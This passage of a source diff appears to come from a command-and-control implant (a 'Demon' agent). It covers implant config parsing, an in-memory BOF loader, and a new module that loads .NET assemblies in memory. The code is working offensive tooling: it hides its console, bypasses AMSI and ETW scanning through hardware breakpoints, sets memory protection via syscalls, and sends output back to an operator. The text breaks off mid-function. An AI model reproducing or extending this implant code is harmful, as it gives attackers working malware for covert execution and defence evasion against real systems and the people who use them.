Buffer = ParserGetBytes( &Parser, &Length );
if ( Length > 0 )
{
Instance->Config.Transport.Proxy.Password = MmHeapAlloc( Length );
MemCopy( Instance->Config.Transport.Proxy.Password, Buffer, Length );
PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance->Config.Transport.Proxy.Password );
}
else
Instance->Config.Transport.Proxy.Password = NULL;
}
else
{
PUTS( "[CONFIG] [PROXY] Disabled" );
}
#endif
#ifdef TRANSPORT_SMB
Buffer = ParserGetBytes( &Parser, &Length );
Instance->Config.Transport.Name = Instance->Win32.LocalAlloc( LPTR, Length );
MemCopy( Instance->Config.Transport.Name, Buffer, Length );
PRINTF( "[CONFIG] PipeName: %ls\n", Instance->Config.Transport.Name );
Instance->Config.Transport.KillDate = ParserGetInt64( &Parser );
PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate )
// check if the kill date has already passed
if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate )
{
// refuse to run
// TODO: exit process?
Instance->Win32.RtlExitUserThread(0);
}
Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser );
#endif
Instance->Config.Implant.ThreadStartAddr = Instance->Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */
Instance->Config.Inject.Technique = INJECTION_TECHNIQUE_SYSCALL;
ParserDestroy( &Parser );
}
@@ -1,13 +1,11 @@
#include <Demon.h>
#include <Core/Win32.h>
#include <Core/MiniStd.h>
#include <Core/Package.h>
#include <Common/Macros.h>
#include <Inject/InjectUtil.h>
#include <Loader/CoffeeLdr.h>
#include <Loader/ObjectApi.h>
#include <common/Macros.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/Package.h>
#include <core/CoffeeLdr.h>
#include <core/ObjectApi.h>
#include <inject/InjectUtil.h>
#if _WIN64
// __imp_
@@ -48,10 +46,11 @@ LONG WINAPI VehDebugger( PEXCEPTION_POINTERS Exception )
// TODO: obtaining the RequestID this way is almost surely not correct
// given that CoffeeFunctionReturn won't point to BOF code but Demon code
// also, if two BOFs are running at the same time, this VEH impl won't work
if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) )
if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) {
Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID );
else
} else {
Package = PackageCreate( DEMON_COMMAND_INLINE_EXECUTE );
}
PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION );
PackageAddInt32( Package, Exception->ExceptionRecord->ExceptionCode );
@@ -194,7 +193,7 @@ BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, P
* we overwrite the addresses of some Nt apis to provide
* automatic support for syscalls to BOFs
*/
if ( hLibrary == Instance.Modules.Ntdll )
if ( hLibrary == Instance->Modules.Ntdll )
{
for ( DWORD i = 0 ;; i++ )
{
@@ -213,7 +212,7 @@ BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, P
AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR );
AnsiString.Buffer = SymName;
if ( NT_SUCCESS( Instance.Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) )
if ( NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) )
return TRUE;
goto SymbolNotFound;
@@ -262,11 +261,11 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE
ULONG Protection = 0;
ULONG BitMask = 0;
if ( Instance.Config.Implant.CoffeeVeh )
if ( Instance->Config.Implant.CoffeeVeh )
{
PUTS( "Register VEH handler..." )
// Add Veh Debugger in case that our BOF crashes etc.
VehHandle = Instance.Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger );
VehHandle = Instance->Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger );
if ( ! VehHandle )
{
PACKAGE_ERROR_WIN32
@@ -306,7 +305,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE
if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED ) == IMAGE_SCN_MEM_NOT_CACHED )
Protection |= PAGE_NOCACHE;
Success = MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection );
Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection );
if ( ! Success )
{
PUTS( "Failed to protect memory" )
@@ -318,7 +317,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE
if ( Coffee->FunMapSize )
{
// set the FunctionMap section to READONLY
Success = MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY );
Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY );
if ( ! Success )
{
PUTS( "Failed to protect memory" )
@@ -386,7 +385,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE
// Remove our exception handler
if ( VehHandle ) {
Instance.Win32.RtlRemoveVectoredExceptionHandler( VehHandle );
Instance->Win32.RtlRemoveVectoredExceptionHandler( VehHandle );
}
return TRUE;
@@ -401,21 +400,21 @@ VOID CoffeeCleanup( PCOFFEE Coffee )
if ( ! Coffee || ! Coffee->ImageBase )
return;
if ( MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) )
if ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) )
MemSet( Coffee->ImageBase, 0, Coffee->BofSize );
Pointer = Coffee->ImageBase;
Size = Coffee->BofSize;
if ( ! NT_SUCCESS( ( NtStatus = SysNtFreeVirtualMemory( NtCurrentProcess(), &Pointer, &Size, MEM_RELEASE ) ) ) )
{
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
PRINTF( "[!] Failed to free memory: %p : %lu\n", Coffee->ImageBase, NtGetLastError() );
}
if ( Coffee->SecMap )
{
MemSet( Coffee->SecMap, 0, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) );
Instance.Win32.LocalFree( Coffee->SecMap );
Instance->Win32.LocalFree( Coffee->SecMap );
Coffee->SecMap = NULL;
}
}
@@ -642,7 +641,7 @@ SIZE_T CoffeeGetFunMapSize( PCOFFEE Coffee )
VOID RemoveCoffeeFromInstance( PCOFFEE Coffee )
{
PCOFFEE Entry = Instance.Coffees;
PCOFFEE Entry = Instance->Coffees;
PCOFFEE Last = Entry;
if ( ! Coffee )
@@ -650,7 +649,7 @@ VOID RemoveCoffeeFromInstance( PCOFFEE Coffee )
if ( Entry && Entry->RequestID == Coffee->RequestID )
{
Instance.Coffees = Entry->Next;
Instance->Coffees = Entry->Next;
return;
}
@@ -691,13 +690,13 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize
* reloc 32-bit offsets to overflow
*/
Coffee = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE ) );
Coffee = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE ) );
Coffee->Data = CoffeeData;
Coffee->Header = Coffee->Data;
Coffee->Symbol = C_PTR( U_PTR( Coffee->Data ) + Coffee->Header->PointerToSymbolTable );
Coffee->RequestID = RequestID;
Coffee->Next = Instance.Coffees;
Instance.Coffees = Coffee;
Coffee->Next = Instance->Coffees;
Instance->Coffees = Coffee;
#if _WIN64
@@ -717,7 +716,7 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize
#endif
Coffee->SecMap = Instance.Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) );
Coffee->SecMap = Instance->Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) );
Coffee->FunMapSize = CoffeeGetFunMapSize( Coffee );
if ( ! Coffee->SecMap )
@@ -737,7 +736,7 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize
// at the bottom of the BOF, store the Function map, to ensure all reloc offsets are below 4K
Coffee->BofSize += Coffee->FunMapSize;
Coffee->ImageBase = MemoryAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE );
Coffee->ImageBase = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE );
if ( ! Coffee->ImageBase )
{
PUTS( "Failed to allocate memory for the BOF" )
@@ -792,7 +791,7 @@ END:
if ( Coffee )
{
MemSet( Coffee, 0, sizeof( Coffee ) );
Instance.Win32.LocalFree( Coffee );
Instance->Win32.LocalFree( Coffee );
Coffee = NULL;
}
}
@@ -814,9 +813,9 @@ ExitThread:
}
JobRemove( (DWORD)(ULONG_PTR)NtCurrentTeb()->ClientId.UniqueThread );
Instance.Threads--;
Instance->Threads--;
Instance.Win32.RtlExitUserThread( 0 );
Instance->Win32.RtlExitUserThread( 0 );
}
VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID )
@@ -830,10 +829,10 @@ VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_
#endif
// Allocate memory
CoffeeParams = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) );
CoffeeParams->EntryName = Instance.Win32.LocalAlloc( LPTR, EntryNameSize );
CoffeeParams->CoffeeData = Instance.Win32.LocalAlloc( LPTR, CoffeeDataSize );
CoffeeParams->ArgData = Instance.Win32.LocalAlloc( LPTR, ArgSize );
CoffeeParams = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) );
CoffeeParams->EntryName = Instance->Win32.LocalAlloc( LPTR, EntryNameSize );
CoffeeParams->CoffeeData = Instance->Win32.LocalAlloc( LPTR, CoffeeDataSize );
CoffeeParams->ArgData = Instance->Win32.LocalAlloc( LPTR, ArgSize );
CoffeeParams->EntryNameSize = EntryNameSize;
CoffeeParams->CoffeeDataSize = CoffeeDataSize;
CoffeeParams->ArgSize = ArgSize;
@@ -845,7 +844,7 @@ VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_
InjectionCtx.Parameter = CoffeeParams;
Instance.Threads++;
Instance->Threads++;
if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, NtCurrentProcess(), x64, CoffeeRunnerThread, CoffeeParams, NULL ) ) {
PRINTF( "Failed to create new CoffeeRunnerThread thread: %d", NtGetLastError() )
File diff suppressed because it is too large Load Diff
+573
View File
@@ -0,0 +1,573 @@
#include <Demon.h>
#include <core/MiniStd.h>
#include <core/Dotnet.h>
#include <core/HwBpExceptions.h>
#include <core/Runtime.h>
#define PIPE_BUFFER 0x10000 * 5
GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } };
GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } };
GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } };
GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } };
GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
BOOL AmsiPatched = FALSE;
BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments )
{
PPACKAGE PackageInfo = NULL;
SAFEARRAYBOUND RgsBound[ 1 ] = { 0 };
BUFFER AssemblyData = { 0 };
LPWSTR* ArgumentsArray = NULL;
INT ArgumentsCount = 0;
LONG idx[ 1 ] = { 0 };
VARIANT Object = { 0 };
NTSTATUS Status = STATUS_SUCCESS;
DWORD ThreadId = 0;
HRESULT Result = S_OK;
BOOL AmsiIsLoaded = FALSE;
if ( ! Assembly.Buffer || ! Assembly.Length )
return FALSE;
/* Create a named pipe for our output. try with anon pipes at some point. */
Instance->Dotnet->Pipe = Instance->Win32.CreateNamedPipeW(
Instance->Dotnet->PipeName.Buffer,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
PIPE_TYPE_MESSAGE,
PIPE_UNLIMITED_INSTANCES,
PIPE_BUFFER, PIPE_BUFFER,
0,
NULL
);
if ( ! Instance->Dotnet->Pipe )
{
PRINTF( "CreateNamedPipeW Failed: Error[%d]\n", NtGetLastError() )
PACKAGE_ERROR_WIN32;
return FALSE;
}
if ( ! ( Instance->Dotnet->File = Instance->Win32.CreateFileW( Instance->Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) )
{
PRINTF( "CreateFileW Failed: Error[%d]\n", NtGetLastError() )
PACKAGE_ERROR_WIN32;
return FALSE;
}
if ( ! Instance->Win32.GetConsoleWindow( ) )
{
HWND wnd = NULL;
Instance->Win32.AllocConsole( );
if ( ( wnd = Instance->Win32.GetConsoleWindow( ) ) )
Instance->Win32.ShowWindow( wnd, SW_HIDE );
}
//
// hosting common language runtime
//
if ( ! ClrCreateInstance(
Instance->Dotnet->NetVersion.Buffer,
& Instance->Dotnet->MetaHost,
& Instance->Dotnet->ClrRuntimeInfo,
& Instance->Dotnet->ICorRuntimeHost
) ) {
PUTS( "Couldn't start CLR" )
return FALSE;
}
/* if Amsi/Etw bypass is enabled */
if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP )
{
#if _WIN64
PUTS( "Try to patch(less) Amsi/Etw" )
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID );
PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED );
/* check if Amsi is loaded */
AmsiIsLoaded = TRUE;
if ( ! Instance->Modules.Amsi ) {
AmsiIsLoaded = RtAmsi();
}
PUTS( "Init HwBp Engine" )
/* use global engine */
if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) {
return FALSE;
}
ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread );
/* add Amsi bypass */
if ( AmsiIsLoaded )
{
PUTS( "HwBp Engine add AmsiScanBuffer bypass" )
if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance->Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) {
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
return FALSE;
}
}
/* add Etw bypass */
PUTS( "HwBp Engine add NtTraceEvent bypass" )
if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance->Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) {
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
return FALSE;
}
PackageTransmit( PackageInfo );
PackageInfo = NULL;
#endif
}
else if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) {
/* todo: add memory patching technique */
}
else {
/* no patching */
}
/* Let the operator know what version we are going to use. */
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID );
PackageAddInt32( PackageInfo, DOTNET_INFO_NET_VERSION );
PackageAddBytes( PackageInfo, Instance->Dotnet->NetVersion.Buffer, Instance->Dotnet->NetVersion.Length );
PackageTransmit( PackageInfo );
PackageInfo = NULL;
RgsBound[ 0 ].cElements = Assembly.Length;
RgsBound[ 0 ].lLbound = 0;
Instance->Dotnet->SafeArray = Instance->Win32.SafeArrayCreate( VT_UI1, 1, RgsBound );
PUTS( "CreateDomain..." )
if ( ( Result = Instance->Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainName.Buffer, NULL, &Instance->Dotnet->AppDomainThunk ) ) ) {
PRINTF( "CreateDomain Failed: %x\n", Result )
return FALSE;
}
PUTS( "QueryInterface..." )
if ( ( Result = Instance->Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance->Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance->Dotnet->AppDomain ) ) ) {
PRINTF( "QueryInterface Failed: %x\n", Result )
return FALSE;
}
if ( ( Result = Instance->Win32.SafeArrayAccessData( Instance->Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) {
PRINTF( "SafeArrayAccessData Failed: %x\n", Result )
return FALSE;
}
PUTS( "Copy assembly to buffer..." )
MemCopy( AssemblyData.Buffer, Assembly.Buffer, Assembly.Length );
if ( ( Result = Instance->Win32.SafeArrayUnaccessData( Instance->Dotnet->SafeArray ) ) ) {
PRINTF("SafeArrayUnaccessData Failed: %x\n", Result )
PACKAGE_ERROR_WIN32
}
PUTS( "AppDomain Load..." )
if ( ( Result = Instance->Dotnet->AppDomain->lpVtbl->Load_3( Instance->Dotnet->AppDomain, Instance->Dotnet->SafeArray, &Instance->Dotnet->Assembly ) ) ) {
PRINTF( "AppDomain Failed: %x\n", Result )
return FALSE;
}
PUTS( "Assembly EntryPoint..." )
if ( ( Result = Instance->Dotnet->Assembly->lpVtbl->EntryPoint( Instance->Dotnet->Assembly, &Instance->Dotnet->MethodInfo ) ) ) {
PRINTF( "Assembly EntryPoint Failed: %x\n", Result )
return FALSE;
}
Instance->Dotnet->MethodArgs = Instance->Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main()
ArgumentsArray = Instance->Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount );
ArgumentsArray++;
ArgumentsCount--;
Instance->Dotnet->vtPsa.vt = ( VT_ARRAY | VT_BSTR );
Instance->Dotnet->vtPsa.parray = Instance->Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount );
for ( LONG i = 0; i < ArgumentsCount; i++ ) {
if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->vtPsa.parray, &i, Instance->Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) {
PRINTF( "Args SafeArrayPutElement Failed: %x\n", Result )
return FALSE;
}
}
if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->MethodArgs, idx, &Instance->Dotnet->vtPsa ) ) ) {
PRINTF( "SafeArrayPutElement Failed: %x\n", Result )
return FALSE;
}
Instance->Dotnet->StdOut = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE );
Instance->Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance->Dotnet->File );
if ( ( Result = Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance->Dotnet->MethodInfo, Object, Instance->Dotnet->MethodArgs, &Instance->Dotnet->Return ) ) ) {
PRINTF( "Invoke Assembly Failed: %x\n", Result )
return FALSE;
}
Instance->Dotnet->Invoked = TRUE;
/* push output */
DotnetPush();
/*
* TODO: Finish/Fix this.
* It seems like its way to unstable to use this
* assembly crashes the agent randomly and dont know why.
* Fix this once i get motivated enough or remove this entirely. */
/*
PUTS( "Create Thread..." )
MemSet( &ThreadAttr, 0, sizeof( PROC_THREAD_ATTRIBUTE_NUM ) );
MemSet( &ClientId, 0, sizeof( CLIENT_ID ) );
ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE );
ThreadAttr.Entry.Size = sizeof( CLIENT_ID );
ThreadAttr.Entry.pValue = &ClientId;
ThreadAttr.Length = sizeof( NT_PROC_THREAD_ATTRIBUTE_LIST );
PUTS( "Creating events..." )
if ( NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Exit, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )
{
if ( NT_SUCCESS( Instance->Win32.NtCreateThreadEx( &Instance->Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) )
{
Instance->Dotnet->RopInit = MmHeapAlloc( sizeof( CONTEXT ) );
Instance->Dotnet->RopInvk = MmHeapAlloc( sizeof( CONTEXT ) );
Instance->Dotnet->RopEvnt = MmHeapAlloc( sizeof( CONTEXT ) );
Instance->Dotnet->RopExit = MmHeapAlloc( sizeof( CONTEXT ) );
Instance->Dotnet->RopInit->ContextFlags = CONTEXT_FULL;
if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( Instance->Dotnet->Thread, Instance->Dotnet->RopInit ) ) )
{
MemCopy( Instance->Dotnet->RopInvk, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );
MemCopy( Instance->Dotnet->RopEvnt, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );
MemCopy( Instance->Dotnet->RopExit, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );
// This rop executes the entrypoint of the assembly
Instance->Dotnet->RopInvk->ContextFlags = CONTEXT_FULL;
Instance->Dotnet->RopInvk->Rsp -= U_PTR( 0x1000 * 6 );
Instance->Dotnet->RopInvk->Rip = U_PTR( Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3 );
Instance->Dotnet->RopInvk->Rcx = U_PTR( Instance->Dotnet->MethodInfo );
Instance->Dotnet->RopInvk->Rdx = U_PTR( &Object );
Instance->Dotnet->RopInvk->R8 = U_PTR( Instance->Dotnet->MethodArgs );
Instance->Dotnet->RopInvk->R9 = U_PTR( &Instance->Dotnet->Return );
*( PVOID* )( Instance->Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );
// This rop tells the main thread (our agent main thread) that the assembly executable finished executing
Instance->Dotnet->RopEvnt->ContextFlags = CONTEXT_FULL;
Instance->Dotnet->RopEvnt->Rsp -= U_PTR( 0x1000 * 5 );
Instance->Dotnet->RopEvnt->Rip = U_PTR( Instance->Win32.NtSetEvent );
Instance->Dotnet->RopEvnt->Rcx = U_PTR( Instance->Dotnet->Event );
Instance->Dotnet->RopEvnt->Rdx = U_PTR( NULL );
*( PVOID* )( Instance->Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );
// Wait til we freed everything from the dotnet
Instance->Dotnet->RopExit->ContextFlags = CONTEXT_FULL;
Instance->Dotnet->RopExit->Rsp -= U_PTR( 0x1000 * 4 );
Instance->Dotnet->RopExit->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject );
Instance->Dotnet->RopExit->Rcx = U_PTR( Instance->Dotnet->Exit );
Instance->Dotnet->RopExit->Rdx = U_PTR( FALSE );
Instance->Dotnet->RopExit->R8 = U_PTR( NULL );
*( PVOID* )( Instance->Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );
if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave;
PUTS( "Resume Thread..." )
if ( NT_SUCCESS( Instance->Win32.NtAlertResumeThread( Instance->Dotnet->Thread, NULL ) ) )
{
PUTS( "Apc started and assembly invoked." )
PackageInfo = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );
PackageAddInt32( PackageInfo, DOTNET_INFO_ENTRYPOINT_EXECUTED );
PackageAddInt32( PackageInfo, ClientId.UniqueThread );
PackageTransmit( PackageInfo );
// we have successfully invoked the main function of the assembly executable.
Instance->Dotnet->Invoked = TRUE;
} else PUTS( "NtAlertResumeThread failed" )
} else PUTS( "NtGetThreadContext failed" )
} else PUTS( "NtCreateThreadEx failed" )
} else PUTS( "NtCreateEvent failed" )
*/
return TRUE;
}
/* push anything from the pipe */
VOID DotnetPushPipe()
{
DWORD Read = 0;
DWORD BytesRead = 0;
if ( ! Instance->Dotnet )
return;
/* see how much there is in the named pipe */
if ( Instance->Win32.PeekNamedPipe( Instance->Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) )
{
PRINTF( "Read: %d\n", Read );
if ( Read > 0 )
{
Instance->Dotnet->Output.Length = Read;
Instance->Dotnet->Output.Buffer = MmHeapAlloc( Instance->Dotnet->Output.Length );
Instance->Win32.ReadFile( Instance->Dotnet->Pipe, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length, &BytesRead, NULL );
Instance->Dotnet->Output.Length = BytesRead;
PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance->Dotnet->RequestID );
PackageAddBytes( Package, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length );
PackageTransmit( Package );
if ( Instance->Dotnet->Output.Buffer )
{
MemSet( Instance->Dotnet->Output.Buffer, 0, Read );
MmHeapFree( Instance->Dotnet->Output.Buffer );
Instance->Dotnet->Output.Buffer = NULL;
}
}
}
}
VOID DotnetPush()
{
if ( ! Instance->Dotnet )
return;
PRINTF( "Instance->Dotnet->Invoked: %s\n", Instance->Dotnet->Invoked ? "TRUE" : "FALSE" )
if ( Instance->Dotnet->Invoked )
{
/* Read from the assembly named pipe and send it to the server */
DotnetPushPipe();
/* check if the assembly is still running. */
/* if ( Instance->Win32.WaitForSingleObjectEx( Instance->Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 )
{
PUTS( "Event has been signaled" )
Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );
PackageAddInt32( Package, DOTNET_INFO_FINISHED );
PackageTransmit( Package );
PUTS( "Dotnet Invoke thread isn't active anymore." )
Close = TRUE;
} */
/* just in case the assembly pushed something last minute... */
DotnetPushPipe();
/* Now free everything */
DotnetClose();
}
}
VOID DotnetClose()
{
#ifndef DEBUG
Instance->Win32.FreeConsole();
#endif
if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) {
HwBpEngineDestroy( NULL );
}
if ( Instance->Dotnet->Event ) {
SysNtClose( Instance->Dotnet->Event );
}
if ( Instance->Dotnet->Pipe ) {
SysNtClose( Instance->Dotnet->Pipe );
}
if ( Instance->Dotnet->File ) {
SysNtClose( Instance->Dotnet->File );
}
if ( Instance->Dotnet->RopInit ) {
MemSet( Instance->Dotnet->RopInit, 0, sizeof( CONTEXT ) );
Instance->Win32.LocalFree( Instance->Dotnet->RopInit );
Instance->Dotnet->RopInit = NULL;
}
if ( Instance->Dotnet->RopInvk )
{
MemSet( Instance->Dotnet->RopInvk, 0, sizeof( CONTEXT ) );
Instance->Win32.LocalFree( Instance->Dotnet->RopInvk );
Instance->Dotnet->RopInvk = NULL;
}
if ( Instance->Dotnet->RopEvnt )
{
MemSet( Instance->Dotnet->RopEvnt, 0, sizeof( CONTEXT ) );
Instance->Win32.LocalFree( Instance->Dotnet->RopEvnt );
Instance->Dotnet->RopEvnt = NULL;
}
if ( Instance->Dotnet->RopExit )
{
MemSet( Instance->Dotnet->RopExit, 0, sizeof( CONTEXT ) );
Instance->Win32.LocalFree( Instance->Dotnet->RopExit );
Instance->Dotnet->RopExit = NULL;
}
PUTS( "Free Output" )
if ( Instance->Dotnet->Output.Buffer )
{
MemSet( Instance->Dotnet->Output.Buffer, 0, Instance->Dotnet->Output.Length );
Instance->Win32.LocalFree( Instance->Dotnet->Output.Buffer );
Instance->Dotnet->Output.Buffer = NULL;
}
PUTS( "Unload and free CLR" )
if ( Instance->Dotnet->MethodArgs )
{
Instance->Win32.SafeArrayDestroy( Instance->Dotnet->MethodArgs );
Instance->Dotnet->MethodArgs = NULL;
}
if ( Instance->Dotnet->MethodInfo != NULL )
{
Instance->Dotnet->MethodInfo->lpVtbl->Release( Instance->Dotnet->MethodInfo );
Instance->Dotnet->MethodInfo = NULL;
}
if ( Instance->Dotnet->Assembly != NULL )
{
